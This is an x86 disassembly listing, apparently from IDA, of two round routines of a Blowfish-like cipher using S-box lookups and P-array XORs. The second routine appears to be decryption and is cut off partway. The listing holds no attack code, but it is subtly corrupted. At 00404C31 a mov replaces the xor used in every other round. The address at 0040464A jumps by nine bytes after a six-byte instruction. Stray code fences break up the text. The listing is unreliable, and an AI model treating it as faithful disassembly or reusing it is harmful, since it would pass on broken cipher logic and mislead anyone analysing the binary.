.text:004044D1      mov     edx, ds:dword_40649A
.text:004044D7      mov     ecx, ebx
.text:004044D9      shr     ecx, 18h
.text:004044DC      mov     eax, [edx]
.text:004044DE      mov     ecx, [eax+ecx*4]
.text:004044E1      mov     eax, ebx
.text:004044E3      shl     eax, 8
.text:004044E6      shr     eax, 18h
.text:004044E9      mov     ebx, [edx+4]
.text:004044EC      add     ecx, [ebx+eax*4]
.text:004044EF      mov     ebx, [ebp+var_14]
.text:004044F2      shl     ebx, 10h
.text:004044F5      shr     ebx, 18h
.text:004044F8      mov     eax, [edx+8]
.text:004044FB      xor     ecx, [eax+ebx*4]
.text:004044FE      mov     ebx, [ebp+var_14]
.text:00404501      and     ebx, 0FFh
.text:00404507      mov     edx, [edx+0Ch]
.text:0040450A      add     ecx, [edx+ebx*4]
.text:0040450D      mov     ebx, ds:dword_406496
.text:00404513      mov     edx, ecx
.text:00404515      xor     edx, [ebx+0Ch]
.text:00404518      xor     [ebp+var_8], edx
.text:0040451B      mov     ebx, [ebp+var_8]
.text:0040451E      mov     [ebp+var_18], ebx
.text:00404521      mov     edx, ds:dword_40649A
.text:00404527      mov     ecx, ebx
.text:00404529      shr     ecx, 18h
.text:0040452C      mov     eax, [edx]
.text:0040452E      mov     ecx, [eax+ecx*4]
.text:00404531      mov     eax, ebx
.text:00404533      shl     eax, 8
.text:00404536      shr     eax, 18h
.text:00404539      mov     ebx, [edx+4]
.text:0040453C      add     ecx, [ebx+eax*4]
.text:0040453F      mov     ebx, [ebp+var_18]
.text:00404542      shl     ebx, 10h

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.text:00404545      shr     ebx, 18h
.text:00404548      mov     eax, [edx+8]
.text:0040454B      xor     ecx, [eax+ebx*4]
.text:0040454E      mov     ebx, [ebp+var_18]
.text:00404551      and     ebx, 0FFh
.text:00404557      mov     edx, [edx+0Ch]
.text:0040455A      add     ecx, [edx+ebx*4]
.text:0040455D      mov     ebx, ds:dword_406496
.text:00404563      mov     edx, ecx
.text:00404565      xor     edx, [ebx+10h]
.text:00404568      xor     [ebp+var_4], edx
.text:0040456B      mov     ebx, [ebp+var_4]
.text:0040456E      mov     [ebp+var_1C], ebx
.text:00404571      mov     edx, ds:dword_40649A
.text:00404577      mov     ecx, ebx
.text:00404579      shr     ecx, 18h
.text:0040457C      mov     eax, [edx]
.text:0040457E      mov     ecx, [eax+ecx*4]
.text:00404581      mov     eax, ebx
.text:00404583      shl     eax, 8
.text:00404586      shr     eax, 18h
.text:00404589      mov     ebx, [edx+4]
.text:0040458C      add     ecx, [ebx+eax*4]
.text:0040458F      mov     ebx, [ebp+var_1C]
.text:00404592      shl     ebx, 10h
.text:00404595      shr     ebx, 18h
.text:00404598      mov     eax, [edx+8]
.text:0040459B      xor     ecx, [eax+ebx*4]
.text:0040459E      mov     ebx, [ebp+var_1C]
.text:004045A1      and     ebx, 0FFh
.text:004045A7      mov     edx, [edx+0Ch]
.text:004045AA      add     ecx, [edx+ebx*4]
.text:004045AD      mov     ebx, ds:dword_406496
.text:004045B3      mov     edx, ecx
.text:004045B5      xor     edx, [ebx+14h]
.text:004045B8      xor     [ebp+var_8], edx
.text:004045BB      mov     ebx, [ebp+var_8]
.text:004045BE      mov     [ebp+var_20], ebx
.text:004045C1      mov     edx, ds:dword_40649A
.text:004045C7      mov     ecx, ebx
.text:004045C9      shr     ecx, 18h
.text:004045CC      mov     eax, [edx]
.text:004045CE      mov     ecx, [eax+ecx*4]
.text:004045D1      mov     eax, ebx
.text:004045D3      shl     eax, 8
.text:004045D6      shr     eax, 18h
.text:004045D9      mov     ebx, [edx+4]
.text:004045DC      add     ecx, [ebx+eax*4]
.text:004045DF      mov     ebx, [ebp+var_20]
.text:004045E2      shl     ebx, 10h
.text:004045E5      shr     ebx, 18h
.text:004045E8      mov     eax, [edx+8]
.text:004045EB      xor     ecx, [eax+ebx*4]
.text:004045EE      mov     ebx, [ebp+var_20]
.text:004045F1      and     ebx, 0FFh
.text:004045F7      mov     edx, [edx+0Ch]
.text:004045FA      add     ecx, [edx+ebx*4]
.text:004045FD      mov     ebx, ds:dword_406496
.text:00404603      mov     edx, ecx
.text:00404605      xor     edx, [ebx+18h]
.text:00404608      xor     [ebp+var_4], edx
.text:0040460B      mov     ebx, [ebp+var_4]
.text:0040460E      mov     [ebp+var_24], ebx
.text:00404611      mov     edx, ds:dword_40649A
.text:00404617      mov     ecx, ebx
.text:00404619      shr     ecx, 18h
.text:0040461C      mov     eax, [edx]
.text:0040461E      mov     ecx, [eax+ecx*4]
.text:00404621      mov     eax, ebx
.text:00404623      shl     eax, 8

```

```

.text:00404626      shr     eax, 18h
.text:00404629      mov     ebx, [edx+4]
.text:0040462C      add     ecx, [ebx+eax*4]
.text:0040462F      mov     ebx, [ebp+var_24]
.text:00404632      shl     ebx, 10h
.text:00404635      shr     ebx, 18h
.text:00404638      mov     eax, [edx+8]
.text:0040463B      xor     ecx, [eax+ebx*4]
.text:0040463E      mov     ebx, [ebp+var_24]
.text:00404641      and     ebx, 0FFh
.text:00404644      mov     edx, [edx+0Ch]
.text:00404647      add     ecx, [edx+ebx*4]
.text:0040464A      mov     ebx, ds:dword_406496
.text:00404653      mov     edx, ecx
.text:00404655      xor     edx, [ebx+1Ch]
.text:00404658      xor     [ebp+var_8], edx
.text:0040465B      mov     ebx, [ebp+var_8]
.text:0040465E      mov     [ebp+var_28], ebx
.text:00404661      mov     edx, ds:dword_40649A
.text:00404667      mov     ecx, ebx
.text:00404669      shr     ecx, 18h
.text:0040466C      mov     eax, [edx]
.text:0040466E      mov     ecx, [eax+ecx*4]
.text:00404671      mov     eax, ebx
.text:00404673      shl     eax, 8
.text:00404676      shr     eax, 18h
.text:00404679      mov     ebx, [edx+4]
.text:0040467C      add     ecx, [ebx+eax*4]
.text:0040467F      mov     ebx, [ebp+var_28]
.text:00404682      shl     ebx, 10h
.text:00404685      shr     ebx, 18h
.text:00404688      mov     eax, [edx+8]
.text:0040468B      xor     ecx, [eax+ebx*4]
.text:0040468E      mov     ebx, [ebp+var_28]
.text:00404691      and     ebx, 0FFh
.text:00404697      mov     edx, [edx+0Ch]
.text:0040469A      add     ecx, [edx+ebx*4]
.text:0040469D      mov     ebx, ds:dword_406496
.text:004046A3      mov     edx, ecx
.text:004046A5      xor     edx, [ebx+20h]
.text:004046A8      xor     [ebp+var_4], edx
.text:004046AB      mov     ebx, [ebp+var_4]
.text:004046AE      mov     [ebp+var_2C], ebx
.text:004046B1      mov     edx, ds:dword_40649A
.text:004046B7      mov     ecx, ebx
.text:004046B9      shr     ecx, 18h
.text:004046BC      mov     eax, [edx]
.text:004046BE      mov     ecx, [eax+ecx*4]
.text:004046C1      mov     eax, ebx
.text:004046C3      shl     eax, 8
.text:004046C6      shr     eax, 18h
.text:004046C9      mov     ebx, [edx+4]
.text:004046CC      add     ecx, [ebx+eax*4]
.text:004046CF      mov     ebx, [ebp+var_2C]
.text:004046D2      shl     ebx, 10h
.text:004046D5      shr     ebx, 18h
.text:004046D8      mov     eax, [edx+8]
.text:004046DB      xor     ecx, [eax+ebx*4]
.text:004046DE      mov     ebx, [ebp+var_2C]
.text:004046E1      and     ebx, 0FFh
.text:004046E7      mov     edx, [edx+0Ch]
.text:004046EA      add     ecx, [edx+ebx*4]
.text:004046ED      mov     ebx, ds:dword_406496
.text:004046F3      mov     edx, ecx
.text:004046F5      xor     edx, [ebx+24h]
.text:004046F8      xor     [ebp+var_8], edx
.text:004046FB      mov     ebx, [ebp+var_8]
.text:004046FE      mov     [ebp+var_30], ebx
.text:00404701      mov     edx, ds:dword_40649A
.text:00404707      mov     ecx, ebx

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.text:00404709      shr     ecx, 18h
.text:0040470C      mov     eax, [edx]
.text:0040470E      mov     ecx, [eax+ecx*4]
.text:00404711      mov     eax, ebx
.text:00404713      shl     eax, 8
.text:00404716      shr     eax, 18h
.text:00404719      mov     ebx, [edx+4]
.text:0040471C      add     ecx, [ebx+eax*4]
.text:0040471F      mov     ebx, [ebp+var_30]
.text:00404722      shl     ebx, 10h
.text:00404725      shr     ebx, 18h
.text:00404728      mov     eax, [edx+8]
.text:0040472B      xor     ecx, [eax+ebx*4]
.text:0040472E      mov     ebx, [ebp+var_30]
.text:00404731      and     ebx, 0FFh
.text:00404737      mov     edx, [edx+0Ch]
.text:0040473A      add     ecx, [edx+ebx*4]
.text:0040473D      mov     ebx, ds:dword_406496
.text:00404743      mov     edx, ecx
.text:00404745      xor     edx, [ebx+28h]
.text:00404748      xor     [ebp+var_4], edx
.text:0040474B      mov     ebx, [ebp+var_4]
.text:0040474E      mov     [ebp+var_34], ebx
.text:00404751      mov     edx, ds:dword_40649A
.text:00404757      mov     ecx, ebx
.text:00404759      shr     ecx, 18h
.text:0040475C      mov     eax, [edx]
.text:0040475E      mov     ecx, [eax+ecx*4]
.text:00404761      mov     eax, ebx
.text:00404763      shl     eax, 8
.text:00404766      shr     eax, 18h
.text:00404769      mov     ebx, [edx+4]
.text:0040476C      add     ecx, [ebx+eax*4]
.text:0040476F      mov     ebx, [ebp+var_34]
.text:00404772      shl     ebx, 10h
.text:00404775      shr     ebx, 18h
.text:00404778      mov     eax, [edx+8]
.text:0040477B      xor     ecx, [eax+ebx*4]
.text:0040477E      mov     ebx, [ebp+var_34]
.text:00404781      and     ebx, 0FFh
.text:00404787      mov     edx, [edx+0Ch]
.text:0040478A      add     ecx, [edx+ebx*4]
.text:0040478D      mov     ebx, ds:dword_406496
.text:00404793      mov     edx, ecx
.text:00404795      xor     edx, [ebx+2Ch]
.text:00404798      xor     [ebp+var_8], edx
.text:0040479B      mov     ebx, [ebp+var_8]
.text:0040479E      mov     [ebp+var_38], ebx
.text:004047A1      mov     edx, ds:dword_40649A
.text:004047A7      mov     ecx, ebx
.text:004047A9      shr     ecx, 18h
.text:004047AC      mov     eax, [edx]
.text:004047AE      mov     ecx, [eax+ecx*4]
.text:004047B1      mov     eax, ebx
.text:004047B3      shl     eax, 8
.text:004047B6      shr     eax, 18h
.text:004047B9      mov     ebx, [edx+4]
.text:004047BC      add     ecx, [ebx+eax*4]
.text:004047BF      mov     ebx, [ebp+var_38]
.text:004047C2      shl     ebx, 10h
.text:004047C5      shr     ebx, 18h
.text:004047C8      mov     eax, [edx+8]
.text:004047CB      xor     ecx, [eax+ebx*4]
.text:004047CE      mov     ebx, [ebp+var_38]
.text:004047D1      and     ebx, 0FFh
.text:004047D7      mov     edx, [edx+0Ch]
.text:004047DA      add     ecx, [edx+ebx*4]
.text:004047DD      mov     ebx, ds:dword_406496
.text:004047E3      mov     edx, ecx
.text:004047E5      xor     edx, [ebx+30h]

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.text:004047E8      xor     [ebp+var_4], edx
.text:004047EB      mov     ebx, [ebp+var_4]
.text:004047EE      mov     [ebp+var_3C], ebx
.text:004047F1      mov     edx, ds:dword_40649A
.text:004047F7      mov     ecx, ebx
.text:004047F9      shr     ecx, 18h
.text:004047FC      mov     eax, [edx]
.text:004047FE      mov     ecx, [eax+ecx*4]
.text:00404801      mov     eax, ebx
.text:00404803      shl     eax, 8
.text:00404806      shr     eax, 18h
.text:00404809      mov     ebx, [edx+4]
.text:0040480C      add     ecx, [ebx+eax*4]
.text:0040480F      mov     ebx, [ebp+var_3C]
.text:00404812      shl     ebx, 10h
.text:00404815      shr     ebx, 18h
.text:00404818      mov     eax, [edx+8]
.text:0040481B      xor     ecx, [eax+ebx*4]
.text:0040481E      mov     ebx, [ebp+var_3C]
.text:00404821      and     ebx, 0FFh
.text:00404827      mov     edx, [edx+0Ch]
.text:0040482A      add     ecx, [edx+ebx*4]
.text:0040482D      mov     ebx, ds:dword_406496
.text:00404833      mov     edx, ecx
.text:00404835      xor     edx, [ebx+34h]
.text:00404838      xor     [ebp+var_8], edx
.text:0040483B      mov     ebx, [ebp+var_8]
.text:0040483E      mov     [ebp+var_40], ebx
.text:00404841      mov     edx, ds:dword_40649A
.text:00404847      mov     ecx, ebx
.text:00404849      shr     ecx, 18h
.text:0040484C      mov     eax, [edx]
.text:0040484E      mov     ecx, [eax+ecx*4]
.text:00404851      mov     eax, ebx
.text:00404853      shl     eax, 8
.text:00404856      shr     eax, 18h
.text:00404859      mov     ebx, [edx+4]
.text:0040485C      add     ecx, [ebx+eax*4]
.text:0040485F      mov     ebx, [ebp+var_40]
.text:00404862      shl     ebx, 10h
.text:00404865      shr     ebx, 18h
.text:00404868      mov     eax, [edx+8]
.text:0040486B      xor     ecx, [eax+ebx*4]
.text:0040486E      mov     ebx, [ebp+var_40]
.text:00404871      and     ebx, 0FFh
.text:00404877      mov     edx, [edx+0Ch]
.text:0040487A      add     ecx, [edx+ebx*4]
.text:0040487D      mov     ebx, ds:dword_406496
.text:00404883      mov     edx, ecx
.text:00404885      xor     edx, [ebx+38h]
.text:00404888      xor     [ebp+var_4], edx
.text:0040488B      mov     ebx, [ebp+var_4]
.text:0040488E      mov     [ebp+var_44], ebx
.text:00404891      mov     edx, ds:dword_40649A
.text:00404897      mov     ecx, ebx
.text:00404899      shr     ecx, 18h
.text:0040489C      mov     eax, [edx]
.text:0040489E      mov     ecx, [eax+ecx*4]
.text:004048A1      mov     eax, ebx
.text:004048A3      shl     eax, 8
.text:004048A6      shr     eax, 18h
.text:004048A9      mov     ebx, [edx+4]
.text:004048AC      add     ecx, [ebx+eax*4]
.text:004048AF      mov     ebx, [ebp+var_44]
.text:004048B2      shl     ebx, 10h
.text:004048B5      shr     ebx, 18h
.text:004048B8      mov     eax, [edx+8]
.text:004048BB      xor     ecx, [eax+ebx*4]
.text:004048BE      mov     ebx, [ebp+var_44]
.text:004048C1      and     ebx, 0FFh

```

```

.text:004048C7      mov     edx, [edx+0Ch]
.text:004048CA      add     ecx, [edx+ebx*4]
.text:004048CD      mov     ebx, ds:dword_406496
.text:004048D3      mov     edx, ecx
.text:004048D5      xor     edx, [ebx+3Ch]
.text:004048D8      xor     [ebp+var_8], edx
.text:004048DB      mov     ebx, [ebp+var_8]
.text:004048DE      mov     [ebp+var_48], ebx
.text:004048E1      mov     edx, ds:dword_40649A
.text:004048E7      mov     ecx, ebx
.text:004048E9      shr     ecx, 18h
.text:004048EC      mov     eax, [edx]
.text:004048EE      mov     ecx, [eax+ecx*4]
.text:004048F1      mov     eax, ebx
.text:004048F3      shl     eax, 8
.text:004048F6      shr     eax, 18h
.text:004048F9      mov     ebx, [edx+4]
.text:004048FC      add     ecx, [ebx+eax*4]
.text:004048FF      mov     ebx, [ebp+var_48]
.text:00404902      shl     ebx, 10h
.text:00404905      shr     ebx, 18h
.text:00404908      mov     eax, [edx+8]
.text:0040490B      xor     ecx, [eax+ebx*4]
.text:0040490E      mov     ebx, [ebp+var_48]
.text:00404911      and     ebx, 0FFh
.text:00404917      mov     edx, [edx+0Ch]
.text:0040491A      add     ecx, [edx+ebx*4]
.text:0040491D      mov     ebx, ds:dword_406496
.text:00404923      mov     edx, ecx
.text:00404925      xor     edx, [ebx+40h]
.text:00404928      xor     [ebp+var_4], edx
.text:0040492B      mov     eax, [ebx+44h]
.text:0040492E      xor     [ebp+var_8], eax
.text:00404931      mov     eax, [ebp+var_4]
.text:00404934      mov     [edi], eax
.text:00404936      mov     eax, [ebp+var_8]
.text:00404939      mov     [esi], eax
.text:0040493B      pop     edi
.text:0040493C      pop     esi
.text:0040493D      pop     ebx
.text:0040493E      leave
.text:0040493F      retn
.text:0040493F      sub_404408      endp
.text:00404940
.text:00404940      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00404940      ; Attributes: bp-based frame
.text:00404940      sub_404940      proc near      ; CODE XREF: sub_405366+136*p
.text:00404940
.text:00404940      var_48          = dword ptr -48h
.text:00404940      var_44          = dword ptr -44h
.text:00404940      var_40          = dword ptr -40h
.text:00404940      var_3C          = dword ptr -3Ch
.text:00404940      var_38          = dword ptr -38h
.text:00404940      var_34          = dword ptr -34h
.text:00404940      var_30          = dword ptr -30h
.text:00404940      var_2C          = dword ptr -2Ch
.text:00404940      var_28          = dword ptr -28h
.text:00404940      var_24          = dword ptr -24h
.text:00404940      var_20          = dword ptr -20h
.text:00404940      var_1C          = dword ptr -1Ch
.text:00404940      var_18          = dword ptr -18h
.text:00404940      var_14          = dword ptr -14h
.text:00404940      var_10          = dword ptr -10h
.text:00404940      var_C           = dword ptr -0Ch
.text:00404940      var_8           = dword ptr -8
.text:00404940      var_4           = dword ptr -4
.text:00404940      arg_0          = dword ptr 8

```

```

.text:00404940 arg_4          = dword ptr 0Ch
.text:00404940
.text:00404940          push    ebp
.text:00404941          mov     ebp, esp
.text:00404943          sub     esp, 48h
.text:00404946          push   ebx
.text:00404947          push   esi
.text:00404948          push   edi
.text:00404949          mov     esi, [ebp+arg_0]
.text:0040494C          mov     edi, [ebp+arg_4]
.text:0040494F          mov     eax, [esi]
.text:00404951          mov     [ebp+var_4], eax
.text:00404954          mov     eax, [edi]
.text:00404956          mov     [ebp+var_8], eax
.text:00404959          mov     eax, ds:dword_406496
.text:0040495E          mov     eax, [eax+44h]
.text:00404961          xor     [ebp+var_4], eax
.text:00404964          mov     ebx, [ebp+var_4]
.text:00404967          mov     [ebp+var_C], ebx
.text:0040496A          mov     edx, ds:dword_40649A
.text:00404970          mov     ecx, ebx
.text:00404972          shr     ecx, 18h
.text:00404975          mov     eax, [edx]
.text:00404977          mov     ecx, [eax+ecx*4]
.text:0040497A          mov     eax, ebx
.text:0040497C          shl     eax, 8
.text:0040497F          shr     eax, 18h
.text:00404982          mov     ebx, [edx+4]
.text:00404985          add     ecx, [ebx+eax*4]
.text:00404988          mov     ebx, [ebp+var_C]
.text:0040498B          shl     ebx, 10h
.text:0040498E          shr     ebx, 18h
.text:00404991          mov     eax, [edx+8]
.text:00404994          xor     ecx, [eax+ebx*4]
.text:00404997          mov     ebx, [ebp+var_C]
.text:0040499A          and     ebx, 0FFh
.text:004049A0          mov     edx, [edx+0Ch]
.text:004049A3          add     ecx, [edx+ebx*4]
.text:004049A6          mov     ebx, ds:dword_406496
.text:004049AC          mov     edx, ecx
.text:004049AE          xor     edx, [ebx+40h]
.text:004049B1          xor     [ebp+var_8], edx
.text:004049B4          mov     ebx, [ebp+var_8]
.text:004049B7          mov     [ebp+var_10], ebx
.text:004049BA          mov     edx, ds:dword_40649A
.text:004049C0          mov     ecx, ebx
.text:004049C2          shr     ecx, 18h
.text:004049C5          mov     eax, [edx]
.text:004049C7          mov     ecx, [eax+ecx*4]
.text:004049CA          mov     eax, ebx
.text:004049CC          shl     eax, 8
.text:004049CF          shr     eax, 18h
.text:004049D2          mov     ebx, [edx+4]
.text:004049D5          add     ecx, [ebx+eax*4]
.text:004049D8          mov     ebx, [ebp+var_10]
.text:004049DB          shl     ebx, 10h
.text:004049DE          shr     ebx, 18h
.text:004049E1          mov     eax, [edx+8]
.text:004049E4          xor     ecx, [eax+ebx*4]
.text:004049E7          mov     ebx, [ebp+var_10]
.text:004049EA          and     ebx, 0FFh
.text:004049F0          mov     edx, [edx+0Ch]
.text:004049F3          add     ecx, [edx+ebx*4]
.text:004049F6          mov     ebx, ds:dword_406496
.text:004049FC          mov     edx, ecx
.text:004049FE          xor     edx, [ebx+3Ch]
.text:00404A01          xor     [ebp+var_4], edx
.text:00404A04          mov     ebx, [ebp+var_4]
.text:00404A07          mov     [ebp+var_14], ebx
.text:00404A0A          mov     edx, ds:dword_40649A

```

```

.text:00404A10      mov     ecx, ebx
.text:00404A12      shr     ecx, 18h
.text:00404A15      mov     eax, [edx]
.text:00404A17      mov     ecx, [eax+ecx*4]
.text:00404A1A      mov     eax, ebx
.text:00404A1C      shl     eax, 8
.text:00404A1F      shr     eax, 18h
.text:00404A22      mov     ebx, [edx+4]
.text:00404A25      add     ecx, [ebx+eax*4]
.text:00404A28      mov     ebx, [ebp+var_14]
.text:00404A2B      shl     ebx, 10h
.text:00404A2E      shr     ebx, 18h
.text:00404A31      mov     eax, [edx+8]
.text:00404A34      xor     ecx, [eax+ebx*4]
.text:00404A37      mov     ebx, [ebp+var_14]
.text:00404A3A      and     ebx, 0FFh
.text:00404A40      mov     edx, [edx+0Ch]
.text:00404A43      add     ecx, [edx+ebx*4]
.text:00404A46      mov     ebx, ds:dword_406496
.text:00404A4C      mov     edx, ecx
.text:00404A4E      xor     edx, [ebx+38h]
.text:00404A51      xor     [ebp+var_8], edx
.text:00404A54      mov     ebx, [ebp+var_8]
.text:00404A57      mov     [ebp+var_18], ebx
.text:00404A5A      mov     edx, ds:dword_40649A
.text:00404A60      mov     ecx, ebx
.text:00404A62      shr     ecx, 18h
.text:00404A65      mov     eax, [edx]
.text:00404A67      mov     ecx, [eax+ecx*4]
.text:00404A6A      mov     eax, ebx
.text:00404A6C      shl     eax, 8
.text:00404A6F      shr     eax, 18h
.text:00404A72      mov     ebx, [edx+4]
.text:00404A75      add     ecx, [ebx+eax*4]
.text:00404A78      mov     ebx, [ebp+var_18]
.text:00404A7B      shl     ebx, 10h
.text:00404A7E      shr     ebx, 18h
.text:00404A81      mov     eax, [edx+8]
.text:00404A84      xor     ecx, [eax+ebx*4]
.text:00404A87      mov     ebx, [ebp+var_18]
.text:00404A8A      and     ebx, 0FFh
.text:00404A90      mov     edx, [edx+0Ch]
.text:00404A93      add     ecx, [edx+ebx*4]
.text:00404A96      mov     ebx, ds:dword_406496
.text:00404A9C      mov     edx, ecx
.text:00404A9E      xor     edx, [ebx+34h]
.text:00404AA1      xor     [ebp+var_4], edx
.text:00404AA4      mov     ebx, [ebp+var_4]
.text:00404AA7      mov     [ebp+var_1C], ebx
.text:00404AAA      mov     edx, ds:dword_40649A
.text:00404AB0      mov     ecx, ebx
.text:00404AB2      shr     ecx, 18h
.text:00404AB5      mov     eax, [edx]
.text:00404AB7      mov     ecx, [eax+ecx*4]
.text:00404ABA      mov     eax, ebx
.text:00404ABC      shl     eax, 8
.text:00404ABF      shr     eax, 18h
.text:00404AC2      mov     ebx, [edx+4]
.text:00404AC5      add     ecx, [ebx+eax*4]
.text:00404AC8      mov     ebx, [ebp+var_1C]
.text:00404ACB      shl     ebx, 10h
.text:00404ACE      shr     ebx, 18h
.text:00404AD1      mov     eax, [edx+8]
.text:00404AD4      xor     ecx, [eax+ebx*4]
.text:00404AD7      mov     ebx, [ebp+var_1C]
.text:00404ADA      and     ebx, 0FFh
.text:00404AE0      mov     edx, [edx+0Ch]
.text:00404AE3      add     ecx, [edx+ebx*4]
.text:00404AE6      mov     ebx, ds:dword_406496
.text:00404AEC      mov     edx, ecx

```

```

.text:00404AEE      xor     edx, [ebx+30h]
.text:00404AF1      xor     [ebp+var_8], edx
.text:00404AF4      mov     ebx, [ebp+var_8]
.text:00404AF7      mov     [ebp+var_20], ebx
.text:00404AFA      mov     edx, ds:dword_40649A
.text:00404B00      mov     ecx, ebx
.text:00404B02      shr     ecx, 18h
.text:00404B05      mov     eax, [edx]
.text:00404B07      mov     ecx, [eax+ecx*4]
.text:00404B0A      mov     eax, ebx
.text:00404B0C      shl     eax, 8
.text:00404B0F      shr     eax, 18h
.text:00404B12      mov     ebx, [edx+4]
.text:00404B15      add     ecx, [ebx+eax*4]
.text:00404B18      mov     ebx, [ebp+var_20]
.text:00404B1B      shl     ebx, 10h
.text:00404B1E      shr     ebx, 18h
.text:00404B21      mov     eax, [edx+8]
.text:00404B24      xor     ecx, [eax+ebx*4]
.text:00404B27      mov     ebx, [ebp+var_20]
.text:00404B2A      and     ebx, 0FFh
.text:00404B30      mov     edx, [edx+0Ch]
.text:00404B33      add     ecx, [edx+ebx*4]
.text:00404B36      mov     ebx, ds:dword_406496
.text:00404B3C      mov     edx, ecx
.text:00404B3E      xor     edx, [ebx+2Ch]
.text:00404B41      xor     [ebp+var_4], edx
.text:00404B44      mov     ebx, [ebp+var_4]
.text:00404B47      mov     [ebp+var_24], ebx
.text:00404B4A      mov     edx, ds:dword_40649A
.text:00404B50      mov     ecx, ebx
.text:00404B52      shr     ecx, 18h
.text:00404B55      mov     eax, [edx]
.text:00404B57      mov     ecx, [eax+ecx*4]
.text:00404B5A      mov     eax, ebx
.text:00404B5C      shl     eax, 8
.text:00404B5F      shr     eax, 18h
.text:00404B62      mov     ebx, [edx+4]
.text:00404B65      add     ecx, [ebx+eax*4]
.text:00404B68      mov     ebx, [ebp+var_24]
.text:00404B6B      shl     ebx, 10h
.text:00404B6E      shr     ebx, 18h
.text:00404B71      mov     eax, [edx+8]
.text:00404B74      xor     ecx, [eax+ebx*4]
.text:00404B77      mov     ebx, [ebp+var_24]
.text:00404B7A      and     ebx, 0FFh
.text:00404B80      mov     edx, [edx+0Ch]
.text:00404B83      add     ecx, [edx+ebx*4]
.text:00404B86      mov     ebx, ds:dword_406496
.text:00404B8C      mov     edx, ecx
.text:00404B8E      xor     edx, [ebx+28h]
.text:00404B91      xor     [ebp+var_8], edx
.text:00404B94      mov     ebx, [ebp+var_8]
.text:00404B97      mov     [ebp+var_28], ebx
.text:00404B9A      mov     edx, ds:dword_40649A
.text:00404BA0      mov     ecx, ebx
.text:00404BA2      shr     ecx, 18h
.text:00404BA5      mov     eax, [edx]
.text:00404BA7      mov     ecx, [eax+ecx*4]
.text:00404BAA      mov     eax, ebx
.text:00404BAC      shl     eax, 8
.text:00404BAF      shr     eax, 18h
.text:00404BB2      mov     ebx, [edx+4]
.text:00404BB5      add     ecx, [ebx+eax*4]
.text:00404BB8      mov     ebx, [ebp+var_28]
.text:00404BBB      shl     ebx, 10h
.text:00404BBE      shr     ebx, 18h
.text:00404BC1      mov     eax, [edx+8]
.text:00404BC4      xor     ecx, [eax+ebx*4]
.text:00404BC7      mov     ebx, [ebp+var_28]

```



```

.text:00404BCA      and     ebx, 0FFh
.text:00404BD0      mov     edx, [edx+0Ch]
.text:00404BD3      add     ecx, [edx+ebx*4]
.text:00404BD6      mov     ebx, ds:dword_406496
.text:00404BDC      mov     edx, ecx
.text:00404BDE      xor     edx, [ebx+24h]
.text:00404BE1      xor     [ebp+var_4], edx
.text:00404BE4      mov     ebx, [ebp+var_4]
.text:00404BE7      mov     [ebp+var_2C], ebx
.text:00404BEA      mov     edx, ds:dword_40649A
.text:00404BF0      mov     ecx, ebx
.text:00404BF2      shr     ecx, 18h
.text:00404BF5      mov     eax, [edx]
.text:00404BF7      mov     ecx, [eax+ecx*4]
.text:00404BFA      mov     eax, ebx
.text:00404BFC      shl     eax, 8
.text:00404BFF      shr     eax, 18h
.text:00404C02      mov     ebx, [edx+4]
.text:00404C05      add     ecx, [ebx+eax*4]
.text:00404C08      mov     ebx, [ebp+var_2C]
.text:00404C0B      shl     ebx, 10h
.text:00404C0E      shr     ebx, 18h
.text:00404C11      mov     eax, [edx+8]
.text:00404C14      xor     ecx, [eax+ebx*4]
.text:00404C17      mov     ebx, [ebp+var_2C]
.text:00404C1A      and     ebx, 0FFh
.text:00404C20      mov     edx, [edx+0Ch]
.text:00404C23      add     ecx, [edx+ebx*4]
.text:00404C26      mov     ebx, ds:dword_406496
.text:00404C2C      mov     edx, ecx
.text:00404C2E      xor     edx, [ebx+20h]
.text:00404C31      mov     [ebp+var_8], edx
.text:00404C34      mov     ebx, [ebp+var_8]
.text:00404C37      mov     [ebp+var_30], ebx
.text:00404C3A      mov     edx, ds:dword_40649A
.text:00404C40      mov     ecx, ebx
.text:00404C42      shr     ecx, 18h
.text:00404C45      mov     eax, [edx]
.text:00404C47      mov     ecx, [eax+ecx*4]
.text:00404C4A      mov     eax, ebx
.text:00404C4C      shl     eax, 8
.text:00404C4F      shr     eax, 18h
.text:00404C52      mov     ebx, [edx+4]
.text:00404C55      add     ecx, [ebx+eax*4]
.text:00404C58      mov     ebx, [ebp+var_30]
.text:00404C5B      shl     ebx, 10h
.text:00404C5E      shr     ebx, 18h
.text:00404C61      mov     eax, [edx+8]
.text:00404C64      xor     ecx, [eax+ebx*4]
.text:00404C67      mov     ebx, [ebp+var_30]
.text:00404C6A      and     ebx, 0FFh
.text:00404C70      mov     edx, [edx+0Ch]
.text:00404C73      add     ecx, [edx+ebx*4]
.text:00404C76      mov     ebx, ds:dword_406496
.text:00404C7C      mov     edx, ecx
.text:00404C7E      xor     edx, [ebx+1Ch]
.text:00404C81      xor     [ebp+var_4], edx
.text:00404C84      mov     ebx, [ebp+var_4]
.text:00404C87      mov     [ebp+var_34], ebx
.text:00404C8A      mov     edx, ds:dword_40649A
.text:00404C90      mov     ecx, ebx
.text:00404C92      shr     ecx, 18h
.text:00404C95      mov     eax, [edx]
.text:00404C97      mov     ecx, [eax+ecx*4]
.text:00404C9A      mov     eax, ebx
.text:00404C9C      shl     eax, 8
.text:00404C9F      shr     eax, 18h
.text:00404CA2      mov     ebx, [edx+4]
.text:00404CA5      add     ecx, [ebx+eax*4]
.text:00404CA8      mov     ebx, [ebp+var_34]

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.text:00404CAB      shl     ebx, 10h
.text:00404CAE      shr     ebx, 18h
.text:00404CB1      mov     eax, [edx+8]
.text:00404CB4      xor     ecx, [eax+ebx*4]
.text:00404CB7      mov     ebx, [ebp+var_34]
.text:00404CBA      and     ebx, 0FFh
.text:00404CC0      mov     edx, [edx+0Ch]
.text:00404CC3      add     ecx, [edx+ebx*4]
.text:00404CC6      mov     ebx, ds:dword_406496
.text:00404CCC      mov     edx, ecx
.text:00404CCE      xor     edx, [ebx+18h]
.text:00404CD1      xor     [ebp+var_8], edx
.text:00404CD4      mov     ebx, [ebp+var_8]
.text:00404CD7      mov     [ebp+var_38], ebx
.text:00404CDA      mov     edx, ds:dword_40649A
.text:00404CE0      mov     ecx, ebx
.text:00404CE2      shr     ecx, 18h
.text:00404CE5      mov     eax, [edx]
.text:00404CE7      mov     ecx, [eax+ecx*4]
.text:00404CEA      mov     eax, ebx
.text:00404CEC      shl     eax, 8
.text:00404CEF      shr     eax, 18h
.text:00404CF2      mov     ebx, [edx+4]
